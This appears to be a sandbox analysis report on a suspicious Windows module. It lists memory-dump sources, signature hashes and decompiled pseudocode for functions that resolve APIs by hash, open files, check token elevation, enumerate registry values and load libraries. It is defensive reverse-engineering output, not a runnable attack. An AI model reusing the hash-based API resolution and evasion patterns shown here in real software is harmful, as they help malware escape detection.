Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction ID: 2247f8726465d68f90570aa75257cbccbcddd4fa2ddafbb9b4b26ea48311bd45
Opcode Fuzzy Hash: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction Fuzzy Hash: 8D017124380307BEEB112ED08C46F3F7EADDBD2388F158869B94366085DA51EC848131

Uniqueness

Uniqueness Score: -1.00%

Function 705C5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E705C5B3D(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t33;
				WCHAR** _t34;
				long _t38;
				void* _t40;
				void* _t41;

				_t34 = __edi;
				_t38 = 2;
				asm("adc ebp, 0x0");
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E705C2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E705BC328(_t24);
				if(E705BC33C(_t24) != 0) {
					_t34[2] = E705C352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
						_t33 = E705C2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t40 = _t41 + 8;
					E705C35D4(_t40, 0xff, 8);
					_t41 = _t41 + 0xc;
					_t15 = E705C2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t40);
						_push(_t40);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x705c5b3d
0x705c5b44
0x705c5b47
0x705c5b75
0x705c5b7e
0x705c5b84
0x705c5b85
0x705c5b77
0x705c5b79
0x705c5b79
0x705c5b9b
0x705c5baf
0x705c5b9d
0x705c5baa
0x705c5bac
0x705c5bac
0x705c5bb1
0x705c5bb6
0x705c5bc4
0x705c5c2f
0x705c5c32
0x00000000
0x705c5bc6
0x705c5bcb
0x705c5c18
0x705c5c1c
0x705c5c26
0x705c5c26
0x705c5c1c
0x705c5bcd
0x705c5bd9
0x705c5bde
0x705c5beb
0x705c5bf2
0x705c5bfe
0x705c5bff
0x705c5c06
0x705c5bf4
0x705c5bf4
0x705c5bf5
0x705c5bf6
0x705c5bf8
0x705c5bfa
0x705c5bfb
0x705c5bfb
0x705c5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 705C5BAA

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction ID: 6961ff7fd2d6f20ec7c63b887a940d13450117e72badb3ed591bdcbcaefa8626
Opcode Fuzzy Hash: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction Fuzzy Hash: 9301A7343403077EE7112EE18D86F3F7EAEDBD2348F15486AB94366085DE65EC948131

Uniqueness

Uniqueness Score: -1.00%

Function 705C5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E705C5B1F(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E705C2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E705BC328(_t23);
				if(E705BC33C(_t23) != 0) {
					_t31[2] = E705C352C(0x100);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E705C2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E705C35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E705C2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x705c5b1f
0x705c5b26
0x705c5b75
0x705c5b7e
0x705c5b84
0x705c5b85
0x705c5b77
0x705c5b79
0x705c5b79
0x705c5b9b
0x705c5baf
0x705c5b9d
0x705c5baa
0x705c5bac
0x705c5bac
0x705c5bb1
0x705c5bb6
0x705c5bc4
0x705c5c2f
0x705c5c32
0x00000000
0x705c5bc6
0x705c5bcb
0x705c5c18
0x705c5c1c
0x705c5c26
0x705c5c26
0x705c5c1c
0x705c5bcd
0x705c5bd9
0x705c5bde
0x705c5beb
0x705c5bf2
0x705c5bfe
0x705c5bff
0x705c5c06
0x705c5bf4
0x705c5bf4
0x705c5bf5
0x705c5bf6
0x705c5bf8
0x705c5bfa
0x705c5bfb
0x705c5bfb
0x705c5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 705C5BAA

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction ID: 4ef9dd0cd4b303512ba1a4b14a92aeb92157f2a04b0390135ee4e16426ba7be1
Opcode Fuzzy Hash: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction Fuzzy Hash: F6016234380307BEEB111EE08C56F3F7E6DDBD2348F104869B94765085DE51ED948131

Uniqueness

Uniqueness Score: -1.00%

Function 705C5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E705C5B6D(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E705C2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E705BC328(_t23);
				if(E705BC33C(_t23) != 0) {
					_t31[2] = E705C352C(0);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E705C2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E705C35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E705C2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x705c5b6d
0x705c5b71
0x705c5b75
0x705c5b7e
0x705c5b84
0x705c5b85
0x705c5b77
0x705c5b79
0x705c5b79
0x705c5b9b
0x705c5baf
0x705c5b9d
0x705c5baa
0x705c5bac
0x705c5bac
0x705c5bb1
0x705c5bb6
0x705c5bc4
0x705c5c2f
0x705c5c32
0x00000000
0x705c5bc6
0x705c5bcb
0x705c5c18
0x705c5c1c
0x705c5c26
0x705c5c26
0x705c5c1c
0x705c5bcd
0x705c5bd9
0x705c5bde
0x705c5beb
0x705c5bf2
0x705c5bfe
0x705c5bff
0x705c5c06
0x705c5bf4
0x705c5bf4
0x705c5bf5
0x705c5bf6
0x705c5bf8
0x705c5bfa
0x705c5bfb
0x705c5bfb
0x705c5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 705C5BAA

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction ID: 569cdb47e14931355b68c30b2a308b4fe31453395faeb406cd0688e2bd5d5b2b
Opcode Fuzzy Hash: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction Fuzzy Hash: F6F0813438030BBEEB111EE18D96F3F7E6EEBD2688F104869B94766085DE61ED948171

Uniqueness

Uniqueness Score: -1.00%

Function 705C5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E705C5D7C(void* __ecx, intOrPtr _a4) {
				long _v16;
				long _t4;
				void* _t8;
				void** _t9;
				intOrPtr _t17;
				long* _t18;

				_push(_t16);
				_t8 = __ecx;
				_t17 = _a4;
				if(_t17 != 0) {
					asm("pxor xmm0, xmm0");
					asm("movq [esi], xmm0");
				}
				_t9 = _t8 + 0xc;
				if(E705BC33C(_t9) != 0) {
					L7:
					_t4 = 0;
					goto L10;
				} else {
					asm("stosd");
					asm("stosd");
					if(E705C2F8C(0x4bcc7cba, 0xceed09cc) == 0) {
						_t4 = 0;
					} else {
						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
					}
					if(_t4 != 0xffffffff) {
						if(_t17 != 0) {
							 *_t18 = _t4;
							asm("movq xmm0, [esp]");
							asm("movq [esi], xmm0");
						}
						L10:
						return _t4;
					} else {
						goto L7;
					}
				}
			}

0x705c5d80
0x705c5d81
0x705c5d83
0x705c5d89
0x705c5d8b
0x705c5d8f
0x705c5d8f
0x705c5d93
0x705c5d9f
0x705c5dd3
0x705c5dd3
0x00000000
0x705c5da1
0x705c5da6
0x705c5da7
0x705c5dbb
0x705c5dcc
0x705c5dbd
0x705c5dc8
0x705c5dc8
0x705c5dd1
0x705c5dd9
0x705c5ddb
0x705c5dde
0x705c5de3
0x705c5de3
0x705c5de7
0x705c5dec
0x00000000
0x00000000
0x00000000
0x705c5dd1

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001,CEED09CC,?,?,00000000,00000000,?,705C5CB4,?,?), ref: 705C5DC8

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction ID: fb93734d3db58e284c612eb8f4f316da748d8482e24ffb1074dfa924bba35e14
Opcode Fuzzy Hash: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction Fuzzy Hash: 43F0D131A0971369D3515EF89C44BAFABE5EFD1320F204B2EF583A6144EA60E98082A4

Uniqueness

Uniqueness Score: -1.00%

Function 705C10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E705C10CC(void* __ecx) {
				void* _v36;
				void* _v44;
				int _t15;
				intOrPtr* _t21;
				void* _t24;
				intOrPtr* _t25;

				_t24 = __ecx;
				 *_t25 = 0;
				_t21 = E705C2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t21 == 0) {
					L5:
					return 0;
				}
				_push(_t25);
				_push(8);
				_push(_t24);
				if( *_t21() == 0 || E705C2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
					goto L5;
				} else {
					_t2 = _t25 + 8 - 4; // 0xd0443454
					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
				}
			}

0x705c10da
0x705c10dc
0x705c10ea
0x705c10ee
0x705c1137
0x00000000
0x705c1137
0x705c10f3
0x705c10f4
0x705c10f6
0x705c10fb
0x00000000
0x705c1114
0x705c1118
0x705c1125
0x705c1129
0x00000000
0x00000000
0x00000000
0x705c1132

APIs

GetTokenInformation.KERNELBASE(00000004,00000014,D0443454,00000004,D0443458,D0443458,D0443458), ref: 705C1125

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction ID: 5ac04d5ed84022c24e062937789cffade8fe333feccfcc6a73921d462b73d55a
Opcode Fuzzy Hash: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction Fuzzy Hash: B7F0AF74B042476BFB04A9A88D09F7F26AD5BC2600F94C82CF641DA288EABCC805C325

Uniqueness

Uniqueness Score: -1.00%

Function 705C55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E705C55B8(void* __ecx) {
				long _t9;
				char* _t11;
				void* _t16;
				int _t17;
				int _t18;
				int* _t19;

				_t18 = 0;
				_t17 = _t19[0x48];
				_t16 = __ecx;
				_t11 =  &(_t19[1]);
				 *_t17 = 0;
				 *((intOrPtr*)(_t17 + 4)) = 0;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				while(1) {
					 *_t19 = 0x105;
					if(E705C2F8C(0xd0443458, 0x286b2253) == 0) {
						goto L4;
					}
					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
					if(_t9 == 0) {
						goto L4;
					}
					return _t17;
					L4:
					E705BE6E8(_t17, _t11,  *_t17);
					_t18 = _t18 + 1;
				}
			}

0x705c55c2
0x705c55c4
0x705c55cb
0x705c55cd
0x705c55d1
0x705c55d3
0x705c55d6
0x705c55d9
0x705c55d9
0x705c55f3
0x00000000
0x00000000
0x705c5604
0x705c5608
0x00000000
0x00000000
0x705c5616
0x705c5619
0x705c561e
0x705c5623
0x705c5623

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,D0443458,286B2253,?,?,D0443458,286B2253), ref: 705C5604

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction ID: 6b22a79afd4a57cfc209111fdf50647f127b8cd8ff749cd6607271d8c0448ee8
Opcode Fuzzy Hash: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction Fuzzy Hash: 72F0C8B520030A6FE7255F9ADC44DBBBBFDDBC0B14F00841EB0D643200DA34EC9185A0

Uniqueness

Uniqueness Score: -1.00%

Function 705C3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E705C3564(void* __ecx) {
				void* _t3;
				intOrPtr* _t8;
				void* _t12;

				_t12 = __ecx;
				if( *0x705cd228 == 0xcd845700) {
					_t8 = E705C2F8C(0xa5eabdf8, 0xd926c223);
					 *0x705cd22c = E705C2F8C(0xa5eabdf8, 0x9b42cb07);
					if( *0x705cd228 == 0xcd845700) {
						 *_t8(2, 0, 0, 0, 0, 0); // executed
						 *0x705cd228 = 0;
					}
				}
				_t3 = E705C2F8C(0xa5eabdf8, 0x80febacc);
				if(_t3 == 0) {
					return 0;
				} else {
					_push(_t12);
					_push(8);
					_push( *0x705cd228);
					asm("int3");
					return _t3;
				}
			}

0x705c356c
0x705c3574
0x705c35a7
0x705c35b8
0x705c35c3
0x705c35ce
0x705c35d0
0x705c35d0
0x705c35c3
0x705c3580
0x705c3587
0x705c3597
0x705c3589
0x705c3589
0x705c358a
0x705c358c
0x705c358e
0x705c358f
0x705c358f

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,A5EABDF8,9B42CB07,A5EABDF8,D926C223,?,?,00000000,705BDEB9,?,?), ref: 705C35CE

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 49a6add94c6de0ce8c3ea6af6aaaae67035ed592377b3e4302cf09d2efd9981d
Instruction ID: 8b25d3f7226eff490cafd406c6b301e2d229562a5ae86ba6299ba8dd7ba60ff6
Opcode Fuzzy Hash: 49a6add94c6de0ce8c3ea6af6aaaae67035ed592377b3e4302cf09d2efd9981d
Instruction Fuzzy Hash: 9FF0897220821BBDD3111FF6AC45F1FBFECEFC5526BA0882DB545EA440E624C880D661

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 705B1494, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 613
libraryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E705B1494(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v40;
				intOrPtr _v60;
				void* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				void* _v284;
				intOrPtr _v288;
				char _v292;
				char _v296;
				char _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v336;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				void* __ebp;
				void* _t282;
				intOrPtr* _t310;
				intOrPtr* _t318;
				intOrPtr* _t434;
				intOrPtr* _t480;
				void* _t481;

				_t481 = __eflags;
				_t480 =  &_v60;
				_v40 = __ecx;
				_v76 = 0;
				E705BF620( &_v72, 0);
				_v60 = 0x22dc1034;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v76, E705BF568( &_v76) + 0x10);
				E705BF558( &_v80, E705BF568( &_v80) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 = _v88 + 1;
				_t325 =  &_v84;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v84 + 0x10)) = 0x853cdd04;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v84, E705BF568(_t325) + 0x10);
				E705BF558( &_v88, E705BF568( &_v88) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v96 = _v96 + 1;
				_t329 =  &_v92;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v92 + 0x10)) = 0xb162dc4e;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v92, E705BF568(_t329) + 0x10);
				E705BF558( &_v96, E705BF568( &_v96) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v104 = _v104 + 1;
				_t333 =  &_v100;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v100 + 0x10)) = 0xc15ccc53;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v100, E705BF568(_t333) + 0x10);
				E705BF558( &_v104, E705BF568( &_v104) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v112 = _v112 + 1;
				_t337 =  &_v108;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v108 + 0x10)) = 0xc8fc2de6;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v108, E705BF568(_t337) + 0x10);
				E705BF558( &_v112, E705BF568( &_v112) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v120 = _v120 + 1;
				_t341 =  &_v116;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v116 + 0x10)) = 0x7d07f92f;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v116, E705BF568(_t341) + 0x10);
				E705BF558( &_v120, E705BF568( &_v120) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v128 = _v128 + 1;
				_t345 =  &_v124;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v124 + 0x10)) = 0xfc7fa539;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v124, E705BF568(_t345) + 0x10);
				E705BF558( &_v128, E705BF568( &_v128) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v136 + 1;
				_t349 =  &_v132;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v132 + 0x10)) = 0x4145240a;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v132, E705BF568(_t349) + 0x10);
				E705BF558( &_v136, E705BF568( &_v136) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v144 = _v144 + 1;
				_t353 =  &_v140;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v140 + 0x10)) = 0x2c2324e8;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v140, E705BF568(_t353) + 0x10);
				E705BF558( &_v144, E705BF568( &_v144) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v152 = _v152 + 1;
				_t357 =  &_v148;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v148 + 0x10)) = 0xf06b4c6b;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v148, E705BF568(_t357) + 0x10);
				E705BF558( &_v152, E705BF568( &_v152) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v160 = _v160 + 1;
				_t361 =  &_v156;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v156 + 0x10)) = 0xa54975b2;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v156, E705BF568(_t361) + 0x10);
				E705BF558( &_v160, E705BF568( &_v160) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v168 = _v168 + 1;
				_t365 =  &_v164;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v164 + 0x10)) = 0x563e1998;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v164, E705BF568(_t365) + 0x10);
				E705BF558( &_v168, E705BF568( &_v168) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v176 = _v176 + 1;
				_t369 =  &_v172;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v172 + 0x10)) = 0xd926c223;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v172, E705BF568(_t369) + 0x10);
				E705BF558( &_v176, E705BF568( &_v176) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v184 = _v184 + 1;
				_t373 =  &_v180;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v180 + 0x10)) = 0x80febacc;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v180, E705BF568(_t373) + 0x10);
				E705BF558( &_v184, E705BF568( &_v184) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v192 = _v192 + 1;
				_t377 =  &_v188;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v188 + 0x10)) = 0x98595b64;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v188, E705BF568(_t377) + 0x10);
				E705BF558( &_v192, E705BF568( &_v192) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v200 = _v200 + 1;
				_t381 =  &_v196;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v196 + 0x10)) = 0x8e3b5f9c;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v196, E705BF568(_t381) + 0x10);
				E705BF558( &_v200, E705BF568( &_v200) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v208 = _v208 + 1;
				_t385 =  &_v204;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v204 + 0x10)) = 0x9b42cb07;
				asm("movq [ecx+0x18], xmm0");
				E705BF8C4( &_v204, E705BF568(_t385) + 0x10);
				E705BF558( &_v208, E705BF568( &_v208) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t434 = _t480;
				 *_t434 =  *_t434 + 1;
				E705C413C(0xa5eabdf8, _t434);
				LoadLibraryA(0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x450], xmm0");
